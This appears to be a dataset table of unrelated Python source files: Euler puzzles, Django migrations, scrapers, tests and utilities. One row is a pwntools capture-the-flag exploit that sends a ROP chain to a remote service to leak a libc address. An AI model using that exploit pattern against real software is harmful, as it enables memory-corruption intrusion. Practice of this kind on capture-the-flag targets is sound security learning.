text stringlengths 38 1.54M |
|---|
import time
start_time = time.time()
fibonacchi = [1, 2]
sum = 2
while fibonacchi[-1] < 4000000:
fibonacchi.append(fibonacchi[-1]+fibonacchi[-2])
if fibonacchi[-1] % 2 == 0 and fibonacchi[-1] < 4000000:
sum += fibonacchi[-1]
print(sum)
print("Elapsed Time: ",(time.time() - start_time)) |
from datetime import datetime
with open('SatrtLog.log', 'a', encoding='utf-8') as f:
f.seek(0)
data = datetime.now()
f.write(str(data)+'\n') |
import datetime
import argparse
from collections import defaultdict
from http.server import HTTPServer, SimpleHTTPRequestHandler
from jinja2 import Environment, FileSystemLoader, select_autoescape
from pandas import read_excel
def create_parser():
parser = argparse.ArgumentParser()
parser.add_argument(
... |
import pandas as pd
import os
global_df = pd.read_csv('data/raw/reference.csv')
for country in [name for name in os.listdir('data/converted') if name.endswith('.csv')]:
print(f'fusing {country}')
country_df = pd.read_csv(f'data/converted/{country}')
global_df = global_df.drop(global_df.loc[global_df['Coun... |
from django.shortcuts import HttpResponse
from rest_framework import generics, status, viewsets
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework.status import HTTP_200_OK
from rest_framework.views import APIView
from .serializers import TriggerSerializer
f... |
print("Enter how many row you went to print: ")
Row = int(input())
c = 1
while c<=Row:
print(c*"*")
c+=1
while Row>0:
print(Row*"*")
Row=Row-1 |
###############################################################
# pytest -v --capture=no tests/test_inventory.py::Test_inventory.test_001
# pytest -v --capture=no tests/test_inventory.py
# pytest -v tests/test_inventory.py
###############################################################
from pprint import pprint
fro... |
import os
import threading
import hazelcast
from bokeh.io import curdoc
from bokeh.layouts import column
from bokeh.models import ColumnDataSource
from bokeh.models.map_plots import GMapOptions
from bokeh.plotting import gmap
# set up Hazelcast connection
hz_config = hazelcast.ClientConfig()
hz_config.network_config... |
# Purpose of this python coding is to show closest mlb stadium(if google place api works okay)
# Get information like gametime, home_away_team, probable pitcher
# Also, get directions to there
import googlemaps
import geocoder
from datetime import timedelta
import dateutil.parser
import statsapi # please, install sta... |
codes={}
def frequency (str):
freqs = {}
for ch in str:
freqs[ch] = freqs.get(ch,0) + 1
return freqs
def sortfreq (freqs):
letters = freqs.keys()
tuples = []
for let in letters :
tuples.append((freqs[let],let))
tuples.sort()
return tuples
def buildTree(tuples... |
#!/usr/bin/evn python3
import sys
import os
import time
import urllib.request, urllib.parse, urllib.error
from threading import Thread
local_proxies = {'http': 'http://131.139.58.200:8080'}
class AxelPython(Thread, urllib.request.FancyURLopener):
def __init__(self, threadName, url, filename, ranges=0, proxies={}... |
from type_check import ch_one
def test_ch_one():
assert ch_one(2) == int
assert ch_one(4 + 5.9) == float
assert ch_one(5.0) == float
assert ch_one(True and False) == bool
first_name = 'Anand'
last_name = 'S'
assert ch_one(f'{first_name} {last_name}') == str
|
#loading need libraries
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from scipy import stats
from sklearn.preprocessing import StandardScaler
def process_data(train):
categories = ['property_id', 'currency', 'property_type', 'place_name', 'state_name']
for cat in categories:
train[cat... |
#
# API Reference:
# https://git.kernel.org/pub/scm/bluetooth/bluez.git/tree/doc
#
from pydbus import SystemBus
from xml.etree import ElementTree as ET
import time, sys
_max_search_time = 40
def forget_all():
bus = SystemBus() # type: pydbus.bus.Bus
adapter = bus.get('org.bluez', '/org/bluez/hci0')
_... |
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... |
class Solution:
def maxProfit(self, prices: list) -> int:
if len(prices) <=1:
return 0
min_num = prices[0]
max_num = 0
for i in range(0, len(prices)):
max_num = max(max_num, prices[i]-min_num)
min_num = min(min_num, prices[i])
return max_nu... |
import os
SECRET_KEY = os.urandom(24)
DEBUG = True
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL')
SQLALCHEMY_TRACK_MODIFICATIONS = True
|
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# [Grove - Chainable RGB LED X 2](http://wiki.seeedstudio.com/Grove-Chainable_RGB_LED/)
# on A2
import time
from Shell import InstallDTBO
import os
class P981X:
"""P981X RGB LED Driver"""
def __init__(self, leds = 2):
"""Initialize the P981X using file pyth... |
from unittest import TestCase
from xrpl.models.exceptions import XRPLModelException
from xrpl.models.transactions import AccountSet
_ACCOUNT = "r9LqNeG6qHxjeUocjvVki2XR35weJ9mZgQ"
_FEE = "0.00001"
_SEQUENCE = 19048
class TestAccountSet(TestCase):
def test_same_set_flag_and_clear_flag(self):
set_flag = 3... |
# -*- coding: utf-8 -*-
import pandas as pd
import pytest
from kartothek.api.discover import discover_datasets_unchecked
from kartothek.core.cube.cube import Cube
from kartothek.io.eager import copy_dataset
from kartothek.io.eager_cube import build_cube, query_cube
from kartothek.utils.ktk_adapters import get_dataset_... |
# -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2019-04-16 13:33
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('blog', '0009_auto_20190416_2108'),
]
operations = [
migrations.RemoveField(
... |
'''
Desafio K
'''
def reverse(b):
str = ""
for i in b:
str = i + str
return str
n = int(input())
bi = format(n,'b')
bi = reverse(bi)
bi = int(bi,2)
print(bi)
|
#017-2.py
with open("write_sample.txt",'w') as handle:
handle.write("Hello\n")
handle.write("write_sample text file\n")
|
from django.urls import path
from . import views
from polls.Controller.userController import userController
urlpatterns = [
path('', views.index, name="index"),
path('test/', views.test, name="test"),
path('question_list/', views.question_list, name="question_list"),
path('detail_question/<int:question_... |
from Switch import Switch
import RPi.GPIO as GPIO
class Scrubmode(object):
HIGH = 0
LOW = 1
def __init__(self,name, coilPinOne,coilPinTwo, GPB0_L_BVN10_S1_GELE_TARGET_RECHTS_BENEDEN,GPB1_L_BVN9_S3_GELE_TARGET_RECHTS_MIDDEN,GPA7_L_OND10_S20_GELE_TARGET_LINKS_BENEDEN,GPA6_L_OND9_S18_GELE_TARGET_LINKS_M... |
a = input('Enter value for a')
b = input('Enter value for b')
try:
a = int(a)
b = int(b)
result = a / b
print(result)
print(name)
except ValueError:
print('Give valid input!')
except NameError:
print('undefined variable is called')
except ZeroDivisionError:
print... |
# Generated by Django 3.1.7 on 2021-03-16 14:57
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('bitsapp', '0004_profile'),
]
operations = [
migrations.RemoveField(
model_name='profile',
name='Contact_Email',
),
... |
#!/usr/bin/env python
from popex.popex_objects import Problem, CatParam
from popex import algorithm
import geostat
import forward
def main():
deesse_simulator = geostat.DeesseSimulator()
flow_solver = forward.FlowSolver(path_results = 'modflow')
problem = Problem(generate_m=deesse_simulator.generat... |
# -*- coding:utf8 -*-
import unittest
from radikowave.api import RadikoApi, RadikoArea, RadikoStation
__author__ = 'attakei'
class AreaTest(unittest.TestCase):
def test_get_id(self):
self.assertEqual(RadikoArea.Hokkaido.get_id(), 'JP1')
self.assertEqual(RadikoArea.Okinawa.get_id(), 'JP47')
d... |
# Generated by Django 3.2.9 on 2021-11-03 13:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('materials', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='materialfile',
name='name',
... |
# -*- coding: utf-8 -*-
import abc
from ..._vendored import six
from .rules import _UpdateRule
@six.add_metaclass(abc.ABCMeta)
class _UpdateStrategy(object):
_STRATEGY = ""
@abc.abstractmethod
def _as_build_update_req_body(self):
"""
Returns
-------
dict
JSON... |
# -*- coding: utf-8 -*-
"""
Created on Wed Jun 04 10:13:02 2014
@author: nataliecmoore
Script Name: USDA_GX_GR110_SCRAPER
Purpose:
Retrieve daily USDA data from the GX_GR110 report via the USDA LMR
web service for upload to Quandl.com. The script pulls data for
the minimum and maximum bids for the past 15 days and p... |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import logging
from os.path import join
import numpy as np
from collections import deque
import matplotlib.pyplot as plt
from gym.spaces.box import Box
class Env(object):
def __init__(self, **kwargs):
... |
from numpy import*
from numpy.linalg import*
mat=array([[8,3,1],[5,12,10],[1,3,2]])
v=array(eval(input("digite: ")))
v=v.T
q=dot(inv(mat),v.T)
print("ametista:",round(q[0],0))
print("esmeralda:",round(q[1],0))
print("safira:",round(q[2],0))
if(q[0]==max(q)):
print("ametista")
elif(q[1]==max(q)):
print("esmeralda")
e... |
from ._ReportDynamicInfo import *
from ._Reset import *
from ._SetSpeedForPositionMovesPan import *
from ._SetAbsolutePositionPan import *
from ._SetAbsolutePositionTilt import *
from ._SetRelativePosition import *
from ._ReportStaticInfo import *
from ._SetAbsolutePosition import *
from ._HaltMotion import *
from ._Se... |
import sys
def getList(filename):
r = list()
with open(filename, 'r') as f:
for line in f:
line = line.replace(' ', '')
line = line.replace('\n', '')
s = line.split(':')
r.append((s[0], s[1]))
return r
def Sort2cmp(r):
r1 = sorted(r, key=lambd... |
## Author: Anne Ewing
## Date: 06/25/15
## Function: Outline for project population and disease model
### packages/modules ###
import csv
import sys
import networkx as nx
import numpy as np
### local modules ###
sys.path.append('/home/anne/Dropbox/Anne_Bansal_Lab')
### functions ###
import functions_chain_binomial... |
from django.contrib import admin
from loginapp.models import UserProfileInfo, User
# Register your models here.
admin.site.register(UserProfileInfo)
|
import pip
import subprocess
import json
def install(name):
try:
subprocess.call(['pip3', 'install', name])
print "Successfully \n"
except ImportError:
print "Error in installing\n"
print "Fail in installing "
# Example
if __name__ == '__main__':
Dependencies = {
'beautifulsoup... |
#!/usr/bin/env python3
"""Downloads historic temperature data from Berkeley Earth"""
from bs4 import BeautifulSoup
import mechanize
import os
import pandas as pd
import urllib.parse
CATEGORIES = ['TAVG', 'TMAX', 'TMIN']
BERK_URL = 'http://berkeleyearth.lbl.gov/auto/Regional/{}/Text/'
DL_DIR = 'downloaded'
CCODES_PAT... |
# Remove Dups: Write code to remove duplicates from an unsorted linked list. Follow-up: how would you solve this problem is a temporary buffer is not allowed?
from LinkedList import LinkedList, Node
def remove_dups(a: LinkedList) -> LinkedList:
# Build up all the data in the linked list
seen = []
remove ... |
'''
Created on 2013-11-12
@author: Administrator
'''
from django.http import HttpResponse
from django.template import Context,loader
from poll.models import User
from django.shortcuts import render
from mydg.Count import Count
print '--------------1'
my_count=Count()
print '--------------2'
def index(request):
... |
from math import *
a = int(input("entrer la valeur de l’entier a: "))
b = int(input("entrer la valeur de l’entier b: "))
signe = str(input("Veuillez choisir un opérateur parmi les suivants + ou - ou * ou /: "))
if signe == "+":
result = a + b
print("Le résultat de l’opération est :", result)
elif signe == "-"... |
# Generated by Django 3.1.1 on 2020-10-17 09:20
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('hotelpackages', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='offers',
name='condition',
),
... |
from instance import *
from API.LaoMaoxsAPI import Download
from API import UrlConstants
class BOOK:
def __init__(self, BOOK_INFO):
self.book_info = BOOK_INFO
self.book_info_msg = BOOK_INFO.get('msg')
self.book_info_code = BOOK_INFO.get('code')
self.book_info_data = self.... |
'''
gow pre-process:
implement of merged gowalla data to spatial-temporal graph
'''
import time
import random
import pickle
import numpy as np
import pandas as pd
import networkx as nx
from tqdm import tqdm
from units import get_distance_hav
import warnings
warnings.filterwarnings("ignore")
pd.set_optio... |
from django.db import models
from django.contrib.auth.models import AbstractUser
class MyCustomUser(AbstractUser):
first_name = models.CharField(max_length=25)
last_name = models.CharField(max_length=25)
|
"""added encode_commands flag
Revision ID: eef5682e45eb
Revises: c789ecdb563c
Create Date: 2017-04-12 15:51:49.935504
"""
# revision identifiers, used by Alembic.
revision = 'eef5682e45eb'
down_revision = 'c789ecdb563c'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated ... |
"""
integer is 4byte or 32 bits
This works for negative numbers too!
"""
def convert(n):
i = 31
while i >= 0:
k = n >> i
if k & 1 > 0:
print("1",end="")
else:
print("0",end="")
i -= 1
# orignal number = 2 4
# maskA = -16 maskB = ... |
class Solution:
def check(self, nums: List[int]) -> bool:
min_val = min(nums)
size = len(nums)
offset = nums.index(min_val)
if(offset == 0):
for i in range(size-1,-1,-1):
if(nums[i] == min_val):
offset = i
else:... |
import sys
import time
from URLS import Base
import mail_stuff
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException, TimeoutException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import ex... |
#!/usr/bin/env python
# coding: utf-8
# In[72]:
#actualInput = "8 4 7 7 8 1 -7 3 2 0 2 1 0 -2 2 -3 -3 1 0 6 2 5 3 1"
actualInput = "10 8 4 0 0 9 0 0 10 1 0 1 1 0 2" # input from user as a string
temporaryList = list(actualInput.split(" "))
inputString = []
for num in temporaryList:
inputString.append(int(num))... |
# ########### 说明 ########## #
# 这是接入方处理环境的入口文件,需要将环境信息在这里进行标准化,方便 base_class 类中,对环境信息进行获取。
# 需要注意的是必须保留三个方法: get_env_list、get_mysql_option、get_application_host
# 对于新扩展的环境信息配置请单独编写 get方法,并在base_class中调用
# 建议的配置获取方案:
# ############################ #
class EnvRouter():
# ################### 自定义代码区域 ############... |
# f(x) = 2x + 1
def f1(x):
return (2 * x) + 1
# f(x) = x^2 + 2x + 1
def f2(x):
return (x ** 2) + (2 * x) + 1
print(f1(10))
print(f2(10)) |
# coding=utf-8
from flask import render_template, request, current_app, redirect, url_for, flash, jsonify
from flask_login import login_required, login_user, logout_user, current_user
from . import main
from .forms import PostForm, EditForm, CommentForm, LoginForm
from .. import db
from ..models import Category, Post, ... |
from asyncio import sleep
from time import time
from typing import Callable, Optional
from mobilium_server.utils.exceptions import TimeoutException
async def wait_until_true(action: Callable[[], bool], timeout: int = 30, interval: int = 1,
timeout_message: Optional[str] = None):
end_tim... |
# -*- coding: latin-1 -*-
"""
* Resolução do exercício 5 do capítulo 1.4 (Timothy Sauer. Numerical Analysis. Pearson, 2ª Edição)
*
* Executado como : newton_1.4-11.py
*
* Parâmetros usados para teste:
* python newton_1.4-11.py
*
"""
import sys
from pprint import pprint
from numpy import ... |
#!/usr/bin/env python
# coding: utf-8
# # NumPy
# NumPy is a useful package that can help store and wrangle homogeneous data. This means data that the data are of the same [data type](https://jakevdp.github.io/PythonDataScienceHandbook/02.01-understanding-data-types.html) such as all **floats** or all **integers**.
... |
"""
Utilities for gradescope autograding.
"""
import os
import json
from fractions import Fraction
from zipfile import ZipFile, ZIP_DEFLATED
from . import __version__ as ZUCCHINI_VERSION
from .constants import ASSIGNMENT_CONFIG_FILE, ASSIGNMENT_FILES_DIRECTORY
from .utils import ConfigDictMixin, ConfigDictNoMangleMix... |
from rdflib import Namespace, Graph, Literal, RDF, URIRef
from rdfalchemy.rdfSubject import rdfSubject
from rdfalchemy import rdfSingle, rdfMultiple, rdfList
from brick.brickschema.org.schema._1_0_2.Brick.Discharge_Air_Temperature_Cooling_Setpoint import Discharge_Air_Temperature_Cooling_Setpoint
from brick.brickschem... |
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello, World!", 200
if __name__ == "__main__":
from os.path import dirname
from frameworks.common import run_gunicorn
run_gunicorn(
cwd=dirname(__file__),
app="hello:app",
worker="meinheld",
... |
import json
from django.core.files import File
from django_filters.rest_framework import DjangoFilterBackend
from rest_framework import status, filters, viewsets
from django.contrib.auth.models import User
from rest_framework.authtoken.models import Token
from rest_framework.decorators import action
from rest_framewor... |
import numpy as np
import time
from lib.datetimehandler import DateUtility
from lib.pyqtgraph import *
from lib.ui.dateaxis import DateAxis
__author__ = 'aco-nav'
class DateAxis(AxisItem):
def tickStrings(self,values,scale,spacing):
strns = []
dtu = DateUtility()
strns = [dtu.todate(x) fo... |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
import json
import os
from collections import OrderedDict
from six.moves import cStringIO as StringIO
import iotbx.phil
import xia2.Handlers.Environment
import xia2.Handlers.Files
from cctbx.array_family import flex
from mmtbx.s... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import cv2
import sys
import os
import numpy
import collections
import subprocess
from enum import IntEnum, auto
from pyzbar.pyzbar import decode
from PIL import Image
YELLOW = [ 0, 213, 255]
BLUE = [186, 81, 0]
GREEN = [ 96, 158, 0]
ORANGE = [ 0, 88, 255]... |
import aiohttp
import backoff
import requests
import urllib.parse
from cdislogging import get_logger
import sys
import indexclient.client as client
from gen3.utils import DEFAULT_BACKOFF_SETTINGS, raise_for_status_and_print_error
from gen3.auth import Gen3Auth
logging = get_logger("__name__")
class Gen3Index:
... |
from pwn import *
puts_plt = 0x080483b0
puts_got = 0x0804a014
vuln = 0x0804850a
# p = process('./ropme')
p = remote("plzpwn.me",6003);
# gdb.attach(p, gdbscript = 'b *vuln+1')
print p.recv()
p.sendline(
'A'*12 +
p32(puts_plt) +
p32(vuln+1) +
p32(puts_got)
)
leak = u32(p.r... |
from multiprocessing import Process
import time,threading
import os
def tt():
print(threading.get_ident()) #获取线程的id
pass
def run(name):
time.sleep(2)
print('hello %s'%name)
t = threading.Thread(target=tt,)
t.start()
if __name__ == '__main__':
for i in range(20):
p = Process(targe... |
'''
Напишите программу, которая считывает длины двух катетов в прямоугольном треугольнике и выводит его площадь.
Каждое число записано в отдельной строке.
'''
b = int(input())
h = int(input())
s = (b * h) / 2
print(s) |
# Generated by Django 2.2.1 on 2019-06-04 13:12
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('app', '0010_recomsim'),
]
operations = [
migrations.AlterModelOptions(
name='recomsim',
options={'managed': False},
... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
import pulumi.runtime
from .. import utilities
class Certificate(pulumi.CustomResource):
"""
Provides a DigitalO... |
from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, BaseUserManager
from shortuuidfield import ShortUUIDField
from django.db import models
class User(AbstractBaseUser, PermissionsMixin):
uid = ShortUUIDField(primary_key=True)
name = models.CharField(max_length=20, blank=True, null=True)
... |
# Problem[2056] : 연월일 순으로 구성된 8자리의 날짜가 입력으로 주어진다. 해당 날짜의 유효성을 판단한 후, 날짜가 유효하다면 ”YYYY/MM/DD”형식으로 출력
# 단, 날짜가 유효하지 않다면 -1을 출력
def isDate(a, b) :
if (int(a) not in range(1,13)) :
return False
elif (int(a) == 2) :
if(int(b) not in range (1,29)) :
return False
else :
... |
import itertools
import logging
import random
import numpy as np
import torch
from cvxopt import matrix, solvers, spmatrix
from ortools.graph import pywrapgraph
from dev_misc import Map
def min_cost_flow(dists, demand, n_similar=None, capacity=1):
'''
Modified from https://developers.google.com/optimization... |
import sys
sys.stdin = open('도약.txt')
N = int(input())
leaf = []
for i in range(N):
leaf.append(int(input()))
leaf.sort()
print(leaf)
for i in range(N):
|
# -*- coding: utf-8 -*-
from itertools import combinations
n = int(raw_input())
ranks = sorted(map(int, raw_input().split(' ')))
diff = ranks[n - 1] - ranks[0]
has_next_iteration = True
left_pointer = 0
right_pointer = n - 1
if diff != 0:
count = len(filter(lambda x: x == ranks[n - 1], ranks)) * len(
... |
class Solution:
def isIsomorphic(self, s: str, t: str) -> bool:
return list(map(s.find,s)) == list(map(t.find,t)) |
from django import forms
from .models import User, Profile
from django.contrib.auth import authenticate
from django.contrib.auth.forms import ReadOnlyPasswordHashField
from django.contrib.auth.models import Group
from crispy_forms.helper import FormHelper
#Form to add user detail for registration
class AddUserForm(fo... |
from sklearn import cluster
from sklearn.decomposition import PCA
import numpy as np
from infogan.misc.datasets import DataFolder
import matplotlib.pyplot as plt
import tensorflow as tf
import datetime
import os
from launchers.discriminatorTest import trainsetTransform, clusterLabeling
from traditionalClusteringTests.... |
import sys
import time
import queue
import threading
from playsound import playsound
speechQ = queue.Queue()
lineQ = queue.Queue()
# Possible list of available voices for actors
voiceMap = {'auA':'en-AU-Wavenet-A', 'auB':'en-AU-Wavenet-B', 'auC':'en-AU-Wavenet-C',
'auD':'en-AU-Wavenet-D', 'gbA':'en-GB-Wavenet-... |
from django import forms
from pagedown.widgets import AdminPagedownWidget
from .models import Post
from taggit.forms import *
class BlogCreationForm(forms.ModelForm):
content = forms.CharField(widget=AdminPagedownWidget())
class Meta:
model = Post
fields = [
'content',
... |
#setup.py
import csv
from os import walk
#This is the big datafile
case_file = open("Cases/CaseData1.tsv")
CFILE_FRONT = "Cases/CaseData"
#Gene expression datafile
tsv_file = open("Expression/CosmicCompleteGeneExpression_1.tsv")
EFILE_FRONT = "Expression/CosmicCompleteGeneExpression_"
FILE_EXT = ".tsv"
ex... |
'''
Given a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree.
According to the definition of LCA on Wikipedia: The lowest common ancestor is defined between two nodes p and q as the lowest node in T that has both p and q as descendants (where we allow a node to be a descendant of itsel... |
from Population import Population
from Data import Reader
seed = 1
data = Reader()
num_problem = 0
population = Population(seed, 3, 5, data.problems, data.rooms[num_problem], data.courses[num_problem], data.days[num_problem], data.curricula[num_problem], data.periods_per_day[num_problem], data.num_rooms[num_problem],... |
'''
Technique of neagtion is used in this, as we move in the array, we make the number present at the index
equal to the current number we at, and just return index+1 of the positive number present in array after
traversing the array
'''
def finidingdisappearednumbers(self,nums):
for i in range(len(nums)):
... |
from django.conf.urls import url
from django.urls import path
from channels.routing import ProtocolTypeRouter, URLRouter, ChannelNameRouter
from channels.auth import AuthMiddlewareStack
from channels.security.websocket import AllowedHostsOriginValidator, OriginValidator
from game.consumers import GameConsumer
applicat... |
# -*- coding: utf-8 -*-
'''
>>> from opem.Dynamic.Padulles_Amphlett import *
>>> import shutil
>>> Test_Vector={"A":50.6,"l":0.0178,"lambda":23,"JMax":1.5,"T":343,"N0":5,"KO2":0.0000211,"KH2":0.0000422,"KH2O":0.000007716,"tH2":3.37,"tO2":6.74,"t1":2,"t2":2,"tH2O":18.418,"B":0.016,"rho":1.168,"qMethanol":0.0002,"CV":2,"... |
import mxnet as mx
from mxnet import gluon
from mx_model import ModelUNet
import os
import numpy as np
from mxnet import nd
from mxnet import image
from skimage import io
from tqdm import tqdm
import multiprocessing
import warnings
import cv2
class TestDataSet(gluon.data.Dataset):
def __init__(self, samples, chan... |
from django.conf.urls import include, url
from django.contrib import admin
from django.contrib.auth import views as auth_views
urlpatterns = [
# Admin
url(r'^admin/', admin.site.urls),
# Core app
url(r'^', include('apps.core.urls', namespace='core')),
# Accounts app
url(r'^accounts/', include(... |
idade = int(input('Digite sua idade :'))
if idade <= 5 :
valor = 10
elif idade >= 60 :
valor = 15
else :
valor = 25
print('Você pagara {} reais'.format(valor))
|
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
import base64
import zipfile
import io
from requests.exceptions import ConnectionError, HTTPError, InvalidSchema, InvalidURL, ReadTimeout
from zeep.wsse.username import UsernameToken
from zeep import Client, Settings
fro... |
import unittest
from luminol import exceptions
from luminol import Luminol
class TestLuminol(unittest.TestCase):
def setUp(self):
self.anomaly = ['A', 'B']
self.correlation = {
'A': ['m1', 'm2', 'm3'],
'B': ['m2', 'm1', 'm3']
}
self.luminol = Luminol(self.an... |
"""
The blastx output files must have a customized tubular output:
0-qseqid 1-qlen 2-seqid 3-slen 4-frame 5-pident
6-nident 7-length 8-mismatch 9-gapopen 10-qstart 11-qend
12-start 13-send 14-evalue 15-bitscore
Step 1: only look at HSPs that are long and sufficiently similar to the query
Step 2: check a block of ... |
import sqlite3
conn = sqlite3.connect('data.sqlite')
c = conn.cursor()
#c.execute("CREATE TABLE login(id integer primary key autoincrement not null,user text not null, PASS text not null)")
#c.execute("INSERT INTO login (user,pass)VALUES ('jerin','pass')")
c.execute("select * from data1 ")
l=c.fetchall()
print(l... |
# -*- coding: utf-8 -*-
import string
import logging
from django.db import models
from django.db.models import Sum, Count, Avg
from dkp.utils import raid_period, calculate_percent, cached_method, cached_property, QuerySetManager
DATE_FORMAT = '%d.%m.%y'
TIME_FORMAT = '%H:%M'
logger = logging.getLogger('dkp')
cl... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The kv_seek command allows to query the turbo-geth/silkworm KV gRPC."""
import argparse
import context # pylint: disable=unused-import
from silksnake.remote import kv_utils
from silksnake.remote.kv_remote import DEFAULT_TARGET
parser = argparse.ArgumentParser(descri... |
# --------------------------------------------------------------------------------------------------------------------------------------
print("\n")
print(" ✦ __✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__✦__ ✦")
print(" Welcome to the Student Progression Program - Alternati... |
#!/usr/bin/env python3
import scapy.all as net
import sys, os, time, math, threading
sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import get_machines
VERBOSITY = 0
print("Finding network devices...")
machines = get_machines.search(ps4=True)
print("Enabling IP Forward...")
with open("/proc/sys/net... |
import prof
class MethodInfo(object):
def __init__(self, method):
self.method = method
self.method_instances = []
def invoke(self, *args, **kwargs):
return prof.METHOD_INSTANCE_STACK[-1].invoke_child(self, *args, **kwargs)
def __str__(self, *args, **kwargs):
return "{0}::{1}".format(se... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
TO RUN: script from command line: python SummarizeData.py filename # not including file extension
Created on Fri Mar 20 16:30:24 2020
Assignment 6
Run this script once to open a user-defined data file, generate a pdf summary of figures,
and a second time to do the s... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.